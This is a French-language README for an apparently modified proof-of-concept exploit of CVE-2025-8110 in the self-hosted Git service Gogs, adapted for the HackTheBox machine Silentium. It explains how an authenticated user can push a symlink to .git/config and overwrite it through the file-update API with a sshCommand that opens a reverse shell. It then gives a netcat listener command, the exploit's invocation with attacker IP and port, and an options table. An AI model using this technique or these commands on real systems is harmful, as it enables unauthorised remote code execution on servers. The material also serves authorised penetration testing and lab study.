
Exploit du service Gogs et obtention de l'utilisateur root
Avertissement : Cet outil est strictement destiné à des fins éducatives et à des tests d'intrusion autorisés. Utilisez-le uniquement contre des systèmes pour lesquels vous avez une autorisation explicite.
Il s'agit d'une version modifiée de zAbuQasem/gogs-CVE-2025-8110, adaptée pour fonctionner contre la machine Silentium sur HackTheBox. Le PoC original nécessitait des ajustements pour gérer la configuration spécifique de Gogs et le flux d'authentification de Silentium.
CVE-2025-8110 est une vulnérabilité d'exécution de code à distance (RCE) dans Gogs, un service Git auto-hébergé.
Le point de terminaison de l'API de mise à jour de fichier de Gogs (PUT /api/v1/repos/.../contents/<file>) ne valide pas si le fichier cible est un lien symbolique. Un attaquant authentifié peut pousser un lien symbolique dans un dépôt pointant vers .git/config, puis utiliser l'API pour l'écraser avec une charge utile malveillante. Cette charge utile injecte une commande sshCommand personnalisée dans la configuration git, que Gogs exécute côté serveur lors de la prochaine opération SSH sur ce dépôt, entraînant une exécution de code à distance.
malicious_link -> .git/config), et le pousse..git/config malveillant contenant sshCommand = <reverse shell>..git/config, déclenchant le shell lors de la prochaine opération SSH.Installer les dépendances :
pip install -r requirements.txt
Lancer un écouteur :
nc -lvnp <PORT>
Exécuter l'exploit :
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD>
Optionnel — routage via Burp Suite :
python3 CVE-2025-8110.py -u http://<TARGET_URL> -lh <YOUR_IP> -lp <PORT> -un <USERNAME> -pw <PASSWORD> -x
| Option | Description |
|---|---|
-u | URL de base de Gogs |
-lh | Votre IP d'attaque (hôte du reverse shell) |
-lp | Votre port d'écoute |
-un | Votre nom d'utilisateur Gogs enregistré |
-pw | Votre mot de passe Gogs |
-x | (Optionnel) Router le trafic via Burp sur localhost:8080 |